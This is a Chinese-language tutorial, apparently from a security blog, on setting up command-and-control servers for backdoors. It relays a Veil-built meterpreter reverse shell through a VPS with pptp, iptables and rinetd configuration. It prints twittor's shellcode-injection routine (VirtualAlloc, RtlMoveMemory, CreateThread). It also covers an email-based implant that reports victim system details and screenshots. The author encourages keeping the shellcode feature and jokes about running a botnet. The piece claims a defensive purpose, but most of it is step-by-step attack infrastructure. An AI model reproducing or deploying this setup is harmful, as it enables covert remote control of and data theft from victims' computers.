C&C服务器,其全称为command and control server。我们在诸多文章中曾看到过,C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。今天,我们就通过一个几个C&C服务器的搭建实验教程让大家了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。
无C&C服务器通讯 故事*本文中涉及的故事纯属虚构,如有雷同实数巧合
某天,某攻击者通过固定的外网IP控制了一个处在外网的用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。
由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。
VPN C&C服务器通讯 故事随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用iptable做了端口转发,并且将交流方式改为反弹式交流。
技术解析有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。
以下为本次实验的环境:
win 10 一台
Kali Linux 一台
Linode VPS 一个
在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。
为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下
监听IP:139.162.5.124(VPS的公网IP)
监听端口:1024(随意填写)
Payload种类:python/meterpreter/rev_tcp
加密方式:Pyherion
然后需要对VPS进行一个简单的设置,通过SSH连接VPS,然后进行update。
随后安装pptp的基本组件
对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。
localip 192.168.0.1
remoteip 192.168.0.2
然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。
freebuf pptpd freebuf *
然后再编辑/etc/ppp/options文件,将ms-dns设置为根服务器地址,如8.8.8.8之类的。
再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。
输入命令/etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。
iptable安装:
apt-get install iptables
iptable设置:
1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE
2. iptables-save > /etc/iptables.pptp
3. cd /etc/network/if-up.d/
4. vi iptables
写入以下内容
#!/bin/sh
iptables-restore < /etc/iptables.pptp
5. chmod +x /etc/network/if-up.d/iptables
到目前这一步pptp已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。
安装rinetd:
sudo apt-get install rinetd
然后编辑/etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。
保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。
对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。
VPN连接没什么问题
然后打开Metasploit,找到handler,并且对其进行设置。
监听IP:192.168.0.2
监听端口:1024
在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。
也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到VPN后对这个内网IP进行监听即可。
如下图所示:
Web C&C服务器通信 故事慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。
技术解析这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。
在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。
项目地址:Twittor
这个项目的主要文件如下
implant.py
requirements.txt
twittor.py
看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。
创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。
至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。
观察implant.py,该文件调用了以下模块
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy import API
from tweepy.streaming import StreamListener
from uuid import getnode as get_mac
import ctypes
import json
import threading
import subprocess
import base64
import platform
tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。
先创建twitter的key和access token。
然后开启可读可写权限
、
把各种token和secret填写到payload和handler内。
但是运行的时候却报错了。
google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。
只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。
但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。
google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。
而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。
精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:
class ExecuteShellcode(threading.Thread):
def __init__(self, jobid, shellc):
threading.Thread.__init__(self)
self.shellc = shellc
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
shellcode = bytearray(self.shellc)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
except Exception as e:
print e
pass
具体的实现功能如下图所示:
如果有人要重新编写这个C&C,一定要加上这个功能啊!
Email C&C服务器通讯 故事但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。
技术解析在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。
文件下载下来后,发现有两个主要程序一个主要目录。
implant.py:payload
gcat.py:控制端
data目录:数据存放路径
我们先看看implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。
以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。
两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。
然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。
PYTHON_SOURCE填写上implant.py的路径。
文件名我就叫C&C吧,然后选择默认的编译方式。
编译好后我复制到windows系统上,然后双击运行。
这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。
通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。
继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。
往上继续看,原来这个data目录主要是存储屏幕截图的。
但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。
当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。
Google的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。
后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。